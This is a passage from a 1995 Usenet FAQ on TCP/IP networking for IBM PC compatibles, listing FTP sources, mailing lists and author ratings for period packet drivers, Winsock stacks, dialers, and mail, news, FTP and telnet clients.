ftp:\/\/Microdyne.COM\/pub\/winsock\/FAQ An alternative source for the FAQ is ftp:\/\/ftp.microsoft.com\/ G-3. How do I do multicasting using Windows Sockets? Information on use of multicasting is available via: ftp:\/\/ftp.microsoft.com\/bussys\/WinSo...t\/MULTCAST.TXT and ftp:\/\/ftp.microsoft.com\/bussys\/WinSock\/ms-ext\/winsock.h ------------------------------ END OF PART 2 ------------------------ Please send comments to: Bernard Aboba Author of: The Online User's Encyclopedia, Addison-Wesley, 1994 The PC-Internet Connection, Publisher's Group West, due in 1995 mailto:aboba@netcom.com FTP archive: ftp:\/\/ftp.zilker.net\/pub\/mailcom\/ WWW page: http:\/\/www.zilker.net\/users\/internaut\/index.html From: aboba@netcom.com (Bernard Aboba) Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 3 of 5 Expires: Fri, 12 May 1995 00:00:00 GMT Followup-To: poster Keywords: TCP\/IP, IBM PC, SLIP, PPP, NDIS, ODI Organization: MailCom Reply-To: aboba@netcom.com Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers Approved: news-answers-request@MIT.Edu Summary: Frequently Asked Questions (and answers) about TCP\/IP on PC-Compatible Computers Archive-name: ibmpc-tcp-ip-faq\/part3 comp.protocols.tcp-ip.ibmpc: FAQ Posting, part 3, 4\/1\/95 ########## QUICKIE Guide to Useful Stuff ########## Drivers Packet drivers: ftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/pktd11.zip ftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/pktd11c.zip Packet specs: ftp:\/\/ftp.ftp.com\/pub\/packet-d.ascii NDIS specs: ftp:\/\/ftp.ftp.com\/support\/pub\/ndis\/ndis-mac.v10 ftp:\/\/ftp.ftp.com\/support\/pub\/ndis\/ndis-mac.v20 NDIS drivers: ftp:\/\/ftp.ftp.com\/support\/pub\/ndis\/ ODI driver info: ftp:\/\/sjf-lwp.novell.com\/anonymous\/dev_docs\/lan_drv\/ ftp:\/\/netlab2.usu.edu\/odi ODI Protocol stack info: ftp:\/\/sjf-lwp.novell.com\/anonymous\/dev_docs\/pstacks\/ Slipper: ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/slipper\/slipper.zip PKTMUX: ftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/pktmux12.exe EtherPPP: ftp:\/\/merit.edu\/pub\/ppp\/pc\/etherppp.zip GoSLIP: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/goslip2.zip ODIPKT: ftp:\/\/newdev.harvard.edu\/pub\/odipkt\/odipkt.com Config file: ftp:\/\/newdev.harvard.edu\/pub\/odipkt\/net.cfg Readme file: ftp:\/\/newdev.harvard.edu\/pub\/odipkt\/readme TCP\/IP Stacks Microsoft TCP\/IP-32: ftp:\/\/ftp.microsoft.com\/peropsys\/windows\/Public\/tcpip\/ Trumpet Winsock: ftp:\/\/biochemistry.bioc.cwru.edu\/pub...sk\/winsock.zip ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/winsock\/winsock.zip ftp:\/\/biochemistry.bioc.cwru.edu\/pub...sk\/winapps.zip ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/winsock\/winapps.zip Chameleon sampler: ftp:\/\/ftp.netmanage.com\/pub\/demos\/sampler\/sampler.exe Web browsers: BookLink: ftp:\/\/ftp.booklink.com\/lite\/netlite.exe Netscape: ftp:\/\/ftp.digital.com\/pub\/net\/infosys\/Mosaic-Comm\/ ftp:\/\/lark.cc.ukans.edu\/Netscape\/ ftp:\/\/ftp.meer.net\/pub\/Netscape\/ ftp:\/\/src.doc.ic.ac.uk\/packages\/Netscape\/ ftp:\/\/unix.hensa.ac.uk\/pub\/mosaic.comm.corp\/ ftp:\/\/archie.au\/pub\/misc\/netscape\/ ftp:\/\/ftp.cica.indiana.edu\/pub\/pc\/win3\/winsock\/ (PC only) ftp:\/\/mac.archive.umich.edu\/mac\/util\/network\/ (Mac only) EINet WinWeb: ftp:\/\/ftp.einet.net\/einet\/pc\/winweb.zip Mosaic: ftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Mosaic\/wmos20a7.zip, ftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Mosaic\/win32s.zip, ftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Mosaic\/readme.now Cello: ftp:\/\/ftp.law.cornell.edu\/pub\/LII\/Cello\/cello.zip, ftp:\/\/ftp.law.cornell.edu\/pub\/LII\/Cello\/cellofaq.zip Other Winsock Applications Trumpet Newsreader: ftp:\/\/biochemistry.bioc.cwru.edu\/pub\/wintrumpet\/ CU-SeeMe: ftp:\/\/gated.cornell.edu\/pub\/video\/cuseeme.zip HGopher: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/hgoph24.zip WSGopher: ftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...s\/wsgopher.zip InterGopher: ftp:\/\/ftp.intercon.com\/InterCon\/sale...ks\/igopher.exe BCGopher: ftp:\/\/ftp.demon.co.uk\/pub\/ibmpc\/wins...r\/bcgopher.zip PNL Gopher: ftp:\/\/ftp.pnl.gov\/ Voice Chat: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/ivc11.zip Global Phone: ftp:\/\/micros.hensa.ac.uk \/mirrors\/cica\/win3\/demo\/igp16_102.zip ftp:\/\/micros.hensa.ac.uk \/mirrors\/cica\/win3\/demo\/igp8_102.zip PCEudora: ftp:\/\/ftp.qualcomm.com\/quest\/windows...4\/eudor144.exe (PC Eudora) EWAN: ftp:\/\/ftp.best.com\/pub\/bryanw\/pc\/winsock\/ewan1052.zip WinFTP: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/winftp.zip WinTalk: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wtalk121.zip 3270: ftp:\/\/ftp.ccs.queensu.ca\/pub\/msdos\/tcpip\/qws3270.zip PhWIN: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/phwin22.zip FTP client: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/ws_ftp.zip (16 bit) ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/ws_ftp32.zip (32 bit) EINet WAIS: ftp:\/\/ftp.einet.net\/einet\/pc\/EWAIS204.ZIP Comt: ftp:\/\/ftp.std.com\/customers\/software\/rfdmail\/comt.zip Finger: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/finger31.zip Dialer: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...il\/dialexe.zip WinQVTNet: ftp:\/\/biochemistry.cwru.edu\/pub\/qvtnet\/ WSArchie: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wsarch07.zip WSIRC: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wsirc14c.zip WinVN: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/winvn926.zip WinFSP: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/winfsp12.zip Wlpr: ftp:\/\/ftp.cica.indiana.edu\/pub\/pc\/wi...k\/wlprs40c.zip Whois: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/whois32.zip WinTelnet: ftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Telnet\/windows\/wtel1b3.zip MPEG Viewer: ftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Mosaic\/viewers\/mpegw32c.zip Windows Quicktime: ftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...es\/qtwplay.zip Windows sound player: ftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...\/wnplny09b.zip Viewers: ftp:\/\/ftp.law.cornell.edu\/pub\/LII\/Cello\/viewers.zip Windows W3 server: ftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...s\/serweb03.zip JPEG Viewer: ftp:\/\/ftp.law.cornell.edu\/pub\/LII\/Cello\/lview31.zip GIF Viewer: ftp:\/\/ftp.law.cornell.edu\/pub\/LII\/Cello\/wingif14.zip Wham viewer: ftp:\/\/ftp.law.cornell.edu\/pub\/LII\/Cello\/wham131.zip Ghostscript: ftp:\/\/ftp.law.cornell.edu\/pub\/LII\/Cello\/gswin.zip X Windows Demo: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...s\/xwindemo.zip Windows NT servers W3 server: ftp:\/\/emwac.ed.ac.uk\/pub\/https\/HSI386.ZIP WAIS server: ftp:\/\/emwac.ed.ac.uk\/pub\/waistool Gopher server: ftp:\/\/emwac.ed.ac.uk\/pub\/gophers\/GSI386.ZIP FTP server: ftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...ps\/nt-ftpd.zip DOS Applications Minuet: ftp:\/\/boombox.micro.umn.edu\/pub\/pc\/m...t\/minuarc.exe, ftp:\/\/boombox.micro.umn.edu\/pub\/pc\/m...st\/install.txt PC-Pine: ftp:\/\/ftp.cac.washington.edu\/mail\/PC-PINE\/pcpine_p.zip NCSA Telnet: ftp:\/\/merit.edu\/pub\/ppp\/pc\/ncsappp.zip KA9Q: ftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/nos11c.exe, ftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/nos11c.txt, ftp:\/\/biochemistry.bioc.cwru.edu\/pub\/nos\/nos192.txt NOS View: ftp:\/\/ucsd.edu\/hamradio\/packet\/tcpip...w\/nosvw304.zip NUPOP: ftp:\/\/ftp.acns.nwu.edu\/pub\/nupop\/ Programming tools Pasock: ftp:\/\/oak.oakland.edu\/SimTel\/win3\/winsock\/pasock10.zip ############################################################ RESOURCE LISTING Key Recommendation = I use, or have used this software or equipment, and I like it. Suggestion = I have not used this software, but it has been recommended to me by people that I trust. Downright Speculation = Neither myself nor anyone I know has used this, but it claims to offer interesting capabilities, so it's included. BOOKS Downright speculation NOSIntro - An Introduction to the KA9Q Network Operating System Price: 11.50 Pounds sterling, plus postage and handling. U.S. price, including shipping: 17.34 pounds sterling This book by Ian Wade (author of NOSView) thoroughly covers KA9Q. Publisher is Dowermain, 356 pages, 35 chapters, 6 appendices, illustrated. ISBN 1-897649-00-2. Dowermain, Ltd., 7 Daubeney Close, Harlington, DUNSTABLE, Bedfordshire, LU5 6NF, United Kingdom, mailto:ian@g3nrw.demon.co.uk. Written orders only, no U.S. distributor yet. Recommendation InfoPOP - Guide to Internet Resources Free InfoPOP\/Windows is a smallish guide to the Internet in the form of a Windows Help application. InfoPOP\/DOS is a TSR with the same content. Available via ftp:\/\/gmuvax2.gmu.edu\/, or gopher:\/\/fenwick.gmu.edu\/ Computers\/Info-Technology\/Software |___under Software available on this Gopher MAILING LISTS Windows Sockets mailto:winsock-request@microdyne.com mailto:winsnmp-request@microdyne.com W3 for Windows mailto:LISTSERV@fatty.law.cornell.edu, with sub cello-l your full name in the body of the message. Firewalls mailto:majordomo@greatcircle.com, with sub firewalls-digest in the body of the message. Back issues are available at ftp.greatcircle.com:\/pub\/firewalls.digest\/vNN.nMMM.Z where NN is the volume number and MMM is the issue number. Socks mailing list Discussion of application level gateways. mailto:socks-request@inoc.dl.nec.com SNMPv1 list mailto:snmp-request@psi.com, subject: subscribe, body: youraddress@yourhost.domain SNMPv2 list mailto:snmpv2-request@tis.com, subject: subscribe, body: youraddress@yourhost.domain Novell mailing list mailto:listserv@suvm.acs.syr.edu body: subscribe NOVELL <Your Full Name> CUTCP mailing list mailto:listserv@nstn.ns.ca body: sub cutcp-l <Your Full Name> Samba mailing list Discussion of the very cool SMB server software for UNIX. mailto:listproc@anu.edu.au Leave subject line blank, body: subscribe samba Firstname Lastname subscribe samba.announce Firstname Lastname Fergie mailing list For discussion of the packet sniffing and analysis software. mailto:request@dnpap.et.tudelft.nl body: subscribe fergie DHCP mailing list mailto:host-conf-request@sol.cs.bucknell.edu Internet Voice Chat users list http:\/\/pluto.njcc.com\/~jjkane\/ivcusers.html Also try IRC channel #IVC, or alt.winsock.ivc TOASTERNETS The Little Garden San Francisco, CA mailto:info@tlg.org Santa Cruz Community Internet (scruz-net) 903 Pacific Ave. #203-A Santa Cruz, CA 95060 (408)457-5050 mailto:info@scruz.net North Bay Network 20 Minor Court San Rafael, CA 94903 (415)472-1600 mailto:info@nbn.com RAINet 9501 SW Westhaven Portland, OR 97225 (503)297-8820 mailto:admin@rain.com OBTAINING SOFTWARE If you don't have access to FTP, you can retrieve the files via e-mail, using the following mail servers: FTPmail mailto:ftpmail@decwrl.dec.com mailto:ftpmail@ftp.uni-stuttgart.de mailto:ftpmail@grasp.insa-lyon.fr mailto:ftpmail@doc.ic.ak.uk For information on how to do this, put \"help\" in the body of the message. BITFTP (available to BITNET users only) mailto:bitftp@vm.gmd.de mailto:bitftp@plesarn.edu.pl mailto:bitftp@pucc.princeton.edu CHAMELEON *Recommendation Chameleon Sampler Free This is the sampler version of the NetManage Chameleon TCP\/IP product. Available via: ftp:\/\/ftp.netmanage.com\/pub\/demos\/sampler\/sampler.exe TRUMPET WINSOCK Recommendation Trumpet WinSock v2.0b A shareware version of Windows Sockets that runs over packet drivers and requires WINPKT. The latest version supports PPP as well as SLIP\/CSLIP, and Socks Proxies. Available as: ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/winsock\/twsk20b.zip, ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/winsock\/winapps2.zip, or ftp:\/\/biochemistry.bioc.cwru.edu\/pub...k\/twsk20b.zip, ftp:\/\/biochemistry.bioc.cwru.edu\/pub...k\/winapps2.zip P. Tattam, Programmer; Psychology Department, University of Tasmania, Hobart, Tasmania, Australia, 61-02-202346; mailto:peter@psychnet.psychol.utas.edu.au Downright Speculation VxDTCP A shareware version of Windows Sockets, running over NDIS, and implemented as a VxD driver. Available at: ftp:\/\/biochemistry.bioc.cwru.edu\/pub...p\/vxdtcpa2.zip MICROSOFT TCP\/IP Recommendation Microsoft TCP\/IP-32 for WFW 3.11 Adds TCP\/IP to WFW 3.11. This stack is unique in that it supports NetBIOS over TCP\/IP, allowing you to mount shares across the Internet, including ftp.microsoft.com. Available as: ftp:\/\/ftp.microsoft.com\/peropsys\/windows\/Public\/tcpip\/ CHAMELEON SAMPLER Recommendation Chameleon Sampler Free This is an introductory version of Chameleon by NetManage, that is currently packaged with various Windows Internet books (including mine). This supports SLIP\/CSLIP\/PPP, but not network adapters. In my opinion this is the easiest to setup, fully functional dialup IP stack around. The package includes applications for mail, ftp, telnet, and ping. Telnet supports TTY, ANSI, VT52, VT100, and VT220 emulation. However, be aware that this stack should not be installed if you already have another WINSOCK DLL loaded; several applications in Chameleon Sampler do not check for another WINSOCK version and will load the NEWT stack anyway. Available via: ftp:\/\/ftp.netmanage.com\/pub\/demos\/sampler\/sampler.exe NetManage, Inc.; 10725 North De Anza Blvd, Cupertino, CA 95014, (408)973-7171, fax: (408)257-6405, mailto:support@netmanage.com *Suggestion Internet Connect v2 Internet-Connect v2.0 from Core Systems is a TCP\/IP stack implemented as a 32-bit VxD and DLL, thus requiring no DOS memory. It supports both LAN (Ethernet) and SLIP\/CSLIP\/PPP connections. Other features include demand dial, dynamic address assignment, scripting, multiple interfaces with IP routing and forwarding, and BOOTP\/DHCP. Internet-Connect v2.0 provides a complete Winsock API. A Windows-based setup program and network configuration utility is included. Available via: ftp:\/\/oak.oakland.edu\/SimTel\/win3\/winsock\/inetv2.zip DIALERS Recommendation Dialer Free DIALER is a Windows program that will dial up a host and then run a series of WIndows applications. It isn't needed with Trumpet Winsock anymore, since this now has its own built-in scripting language. Available at: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...il\/dialexe.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/dialexe.zip Recommendation GOSLIP Free This is another SLIP dialer with built-in scripting that allows for multiple configurations, for each service you dial. Available at: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...il\/goslip2.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/goslip2.zip Recommendation NetDial Shareware$20\n\nAnother dialer application that can support up to 5 configurations.\nAvailable at:\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...il\/netd122.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/netd122.zip\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...l\/netd122u.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/netd122u.zip\n\nRecommendation\nCrynwr drivers free\nSupport Contact Crynwr for info\n\nThe Crynwr drivers, formerly known as the Clarkson University\nCUTCP drivers, are created by Russ Nelson of Crynwr Software,\nwhich sells packet and other driver support. The Crynwr\ndrivers support many Ethernet adapter boards, including\nthose from 3COM, Telesystems, AT&T, Digital, Mitel, HP,\nBICC, NCR, Novell, Interlan, MICOM, Racal\/Interlan, NTI,\nTiara, Ungermann-Bass, and Western Digital.\n\nThe Packet Driver Specification v1.09 is available via:\nftp:\/\/vax.ftp.com\/pub\/packet-d.ascii,\nftp:\/\/vax.ftp.com\/pub\/ppacket-d.mss\n\nPC-NFS drivers available in\nftp:\/\/ftp.sun.soe.clarkson.edu\/pub\/p...ers\/compat.zip\n(requires Sun's PC-NFS).\n\nThe drivers, currently in release 11 are available at:\nftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/pktd11.zip (executables)\nftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/pktd11a.zip (sources)\nftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/pktdt11b.zip (sources)\nftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/pktd11c.zip (executables)\n\nCrynwr Software, 11 Grant St., Potsdam, NY 13676,\n(315)268-1925, fax: (315)268-9201, mailto:nelson@Crynwr.com\n\nRecommendation\nIntel EtherExpress Driver free\n\nThis is a replacement packet driver for the Intel Etherexpress driver\n(exp16.com) found in v11 of the Crywr packet driver library. It fixes\nproblems with \"Unable to initialize the 82586\" errors on 486\/66 or\nfaster machines.\n\nAvailable from:\nftp:\/\/oak.oakland.edu:\/pub\/msdos\/pktdrvr\/exp16116.zip\n\nDownright speculation\nDrivers for Western Digital Ethernet Boards free\n\nAvailable as:\nftp:\/\/ftp.cdrom.com\/.2\/SimTel\/msdos\/lan\/wdpost.zip\n\nRecommendation\nNDIS Drivers free\n\nLibraries of free NDIS drivers for DOS and OS\/2 are\navailable at FTP Software, Inc. at\nftp:\/\/vax.ftp.com\/ndis\/ndis.txt. Another source of\nNDIS drivers is the Windows for Workgroups package.\nProduct Support Services, available at (206)936-MSDL,\nor on CompuServe or GEnie. The Windows Driver LIbrary (WDL),\nwhich includes printer, display and network drivers is also\navailable on disk from Microsoft by calling (800)426-9400.\n\nThe NDIS spec is available as:\nftp:\/\/vax.ftp.com\/pub\/ndis-mac.v101.txt,\nftp:\/\/vax.ftp.com\/pub\/ndis-mac.v201.txt\n\nSLIP AND PPP DRIVERS\n\nSuggestion\nSLIPPER v1.5 Free\nCSLIPPER Free\n\nSLIPPER and CSLIPPER get rave reviews for being less\nobtrusive than some other SLIP\/CSLIP drivers so that\nthe machine loses fewer clock ticks. The result is\nthat the clock stays more accurate. SLIP\/CSLIP operation\nis supported at up to 57.6 Kbps on a 486. CSLIPPER is a\nversion which supports Van Jacobson header compression.\nSupports PKTMUX.\n\nSLIPPER is available from:\nftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/slipper\/slipper.zip\nftp:\/\/biochemistry.cwru.edu\/pub\/slipper\/slippr13.zip\n\nCSLIPPER is available from:\nftp:\/\/biochemistry.cwru.edu\/pub\/slipper\/cslipper.exe\n\nP. Tattam, Programmer; Psychology Department, University of\nTasmania, Hobart, Tasmania, Australia, 61-02-202346;\nmailto:peter@psychnet.psychol.utas.edu.au\n\nRecommendation\nETHERPPP Free\n\nGlenn McGregor, formerly of Merit Network, has released\nETHERPPP, a PPP packet driver that simulates a class\n1 (Ethernet) packet driver. It works well enough, is\nsimple to configure, but takes up too much RAM (121K).\nAvailable as: ftp:\/\/merit.edu\/pub\/ppp\/pc\/etherppp.zip\n\nWINDOWS SOCKETS COMPATIBLE APPLICATIONS\n\nMAIL\n\nSuggestion\nUUPC\n\nThis is a port of UUPC for DOS, Windows, and Windows NT. It\nsupport UUCP over a modem as well as over TCP\/IP.\nIt does not include a mail or news reader. Available as:\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12baw.zip (docs)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bd1.zip (DOS executables, part 1)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bd2.zip (DOS executables, part 2)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bd3.zip (DOS executables, part 3)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bw1.zip (Win3 executables, part 1)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bw2.zip (Win3 executables, part 2)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bw3.zip (Win3 executables, part 3)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bn1.zip (NT executables, part 1)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bn2.zip (NT executables, part 2)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bn3.zip (NT executables, part 3)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bs1.zip (Source files, part 1)\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\/upc12bs2.zip (Source files, part 2)\n\nRecommendation\nPCEudora v1.44 Free\n\nThe Windows version of Eudora, compatible with Windows Sockets.\nHandles SMTP, POP3, offers BINHEX4 and MIME support. This is the\nnicest TCP\/IP mail client available anywhere. The lastest version\nnow runs under Windows NT.\n\nAvailable at:\n\nftp:\/\/ftp.qualcomm.com\/quest\/windows...4\/eudor144.exe (PC Eudora)\nftp:\/\/boombox.micro.umn.edu\/pub\/pc\/binhex\/binhex.exe (BINHEX)\n\nQualcomm, sales: mailto:eudora-sales@qualcomm.com, bug reports:\nmailto:pc-eudora-bugs@qualcomm.com, (800)238-3672\n\nSuggestion\nPegasus mail Free\n\nPegasus supports SMTP\/POP3, with DOS and Windows versions. It can be used\nas under Novell Netware, or as a TCP\/IP mailer. While the software\nis free, the author charges for manuals. A discussion group is\navailable: news:bit.listserv.pmail. Available as:\n\nPegasus mail is available via:\nftp:\/\/oak.oakland.edu\/SimTel\/win3\/mail\/winpm122.zip (Windows version),\nftp:\/\/pub.vse.cz\/pub\/msdos\/pmail\/winpm122.zip\nftp:\/\/risc.ua.edu\/pub\/network\/pegasus\/winpm122.zip (Windows version),\nftp:\/\/risc.ua.edu\/pub\/network\/pegasus\/pmail311.zip (DOS version)\n\nSuggestion\nSMTP client v1.1 Free\n\nA Windows Sockets-compatible SMTP client that is limited to\nsend only. Not as functional as PCEudora (which also handles\nPOP3). Available at:\nftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...pps\/smtp11.zip\n\nContact: mailto:Todd.Young@StPaul.NCR.COM\n\nSuggestion\nRFD Mail\nShareware $29.95 This is an SMTP\/POP3 mailer that does not support file enclosures. However, it is ideal for users who receive mail on commercial services such as CompuServe and GEnie, in addition to the Internet, since it can work in each of these cases. Available as: ftp:\/\/ftp.std.com\/customers\/software...il\/rfdmail.zip Suggestion WinBiff mail notifier Shareware$10\nStudents $5 This utility can poll for mail and notify you when it comes in. It works with Waffle, Pegasus Mail, FirstMail, Novell MHS, Mini-Host, FSUUCP, or even Sendmail if you're also running PC-NFS. Available as: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...l\/wnbff20b.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/util\/wnbff20b.zip NEWS *Downright speculation xp_slip Free xp_slip is a set of DOS TCP\/IP applications by Karl Weis, mailto:khweis@mvmpc9.ciw.uni-karlsruhe.de, designed to automatically retrieve mail and news via an offline reader. Available via: ftp:\/\/mvmpc9.ciw.uni-karlsruhe.de\/x_slip\/ http:\/\/mv70.rz.uni-karlsruhe.de\/~ig19\/ *Recommendation News Xpress v2.1 Freeware This is the best Windows newsreader; it offers built in uudecode\/uuencode. Available via: ftp:\/\/ftp.hk.super.net\/pub\/windows\/W...ies\/nx10b3.zip *Downright speculation TRP Shareware Available via: ftp:\/\/ftp.internet-eireann.ie\/pub\/ie...ock\/TRP104.ZIP ftp:\/\/ftp.demon.co.uk\/pub\/ibmpc\/winsock\/apps\/trp\/ Johannes Eggers, Tetrix Engineering, 201 Harold's Cross Road, Harold's Cross, Dublin 6W, Ireland; +353-1-4964121, mailto:Johannes@tetrix.internet-eireann.ie Recommendation Windows Trumpet v1.0b WinTrumpet is a Windows-Sockets compatible NNTP client from P. Tattam that supports the Trumpet ABI, packet drivers, Novell Lan Workplace for DOS and WinSock v1.1. It is the nicest shareware NNTP newsreader for Windows Sockets. Available at: ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/wintrump\/wt_wsk.zip ftp:\/\/biochemistry.cwru.edu\/pub\/wintrump\/wt_wsk.zip (Windows Sockets version), ftp:\/\/biochemistry.cwru.edu\/pub\/wintrump\/wtpkt10a.zip, ftp:\/\/biochemistry.cwru.edu\/pub\/wintrump\/wtabi10a.zip, ftp:\/\/biochemistry.cwru.edu\/pub\/wintrump\/winpkt.com, ftp:\/\/biochemistry.cwru.edu\/pub\/wintrump\/wtlwp10a.zip (Lan Workplace for DOS) Downright Speculation WinVN v0.926 A semi-graphical Windows application for reading news which supports NNTP over TCP\/IP or serial line connections, and can send mail via SMTP or MAPI. Compatible with Winsock v1.1; a version is also available for Windows NT. Does not support LocalTalk. Current version has been tested with: NetManage's WINSOCK FTP Inc.'s WINSOCK Wollongong's WINSOCK NT's WSOCK32 DEC's Pathworks MS's Lan Man Available at: ftp:\/\/ftp.ksc.nasa.gov\/pub\/win3\/winvn\/ ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/winvn926.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/winvn926.zip Sam Rushing, email: mailto:rushing@titan.ksc.nasa.gov, mailto:hoggle!hoggle2!rushing@peora.sdc.ccur.com You'll find a bunch of zip files. Be sure to use binary mode. Read the file announce-2.txt first. While you're at it, you might also try out the spellchecker at: ftp:\/\/ftp.erinet.com\/pub\/dmike\/wcspell3.zip Downright Speculation DMail This is a mail\/news program written in Russia for use by Russians. It supports UUCP-g, either over modem or TCP\/IP, SMTP, POP3, and NNTP, as well as drag and drop, uudecode, and sorting of articles by size, date, or subject. Available via: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/dmailwin.zip FILE TRANSFER Downright Speculation WinFTP WinFTP is a modified version of WS_FTP, with the mods done by mailto:slahiri@magnus.acs.ohio-state.edu. Since WS_FTP continues to evolve and includes a 32-bit version, and WinFTP has not been updated since January 1994, this program is now out of date. Available via: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/winftp.zip ftp:\/\/cnuce-arch.cnr.it\/pub\/msdos\/wi...ock\/winftp.zip *Recommendation WS-FTP client free This is the most current and featureful graphical FTP implementation, regularly updated by John A. Junod. Available at: ftp:\/\/129.29.64.246\/pub\/msdos\/ws_ftp.zip ftp:\/\/ftp.usma.edu\/pub\/msdos\/winsock.files\/ws_ftp.zip (executable) ftp:\/\/ftp.usma.edu\/pub\/msdos\/winsock.files\/ws_ftp_s.zip (source code) ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/ws_ftp32.zip (32 bit version) ftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...pps\/ws_ftp.zip John Junod; mailto:zj8549@trotter.usma.edu; mailto:junodj@gordon-emh2.army.mil NCOIC, Technology Integration Branch, Computer Science School, FT Gordon, GA 30905; (706)791-3245 AV:780-3245 Recommendation Winfsp v1.2 Free A Windows Sockets-compatible implementation of the File Slurping Protocol. I got it working with no problem. Be aware that the \u00d2protocol search\u00d3 option can take quite a while; you may have be asking the client to individually test hundreds of ports, at a second per port. Available at: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/winfsp12.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/winfsp12.zip TELNET Recommendation COMt - The Telnet Modem Shareware,$15.95\n\nThis program adds telnet capability to any Windows 3.1\nterminal emulator. This is great if you need some special\nkind of emulation, such as PC-ANSI or RIP. Available via:\nftp:\/\/ftp.std.com\/customers\/software\/rfdmail\/comt.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/comt.zip\n\nRecommendation\nEWAN\n\nThis is a Telnet implementation that supports ANSI and VT100\nemulation. Allows customized configuration. Available via:\nftp:\/\/ftp.lysator.liu.se\/pub\/msdos\/windows\/ewan1052.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/ewan1052.zip\n\nSuggestion\nTrumpet Telnet v0.5\n\nA Windows Sockets compatible Telnet implementation. Available at:\nfile:\/petros.psychol.utas.edu.au\/pub\/trumpet\/trmptel\/trmptel.exe\n\nDownright speculation\nWindows Telnet beta 3 free\n\nAn unsupported Telnet implemenation for Windows. Windows Sockets compatible.\nAvailable at:\nftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Telnet\/windows\/wintelb3.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wintelb3.zip\n\nSuggestion\nWindows TN3270 client v1.7\nShareware $35 A Windows Sockets-compatible TN3270 and Tektronix 4010 client that began as freeware and is now shareware. Available at: ftp:\/\/ftp.ccs.queensu.ca\/pub\/msdos\/tcpip\/qws3270.zip Suggestion UW Free This is a multi-window terminal emulator, supporting VT52, VT100 and VT200 emulation. It is therefore similar to 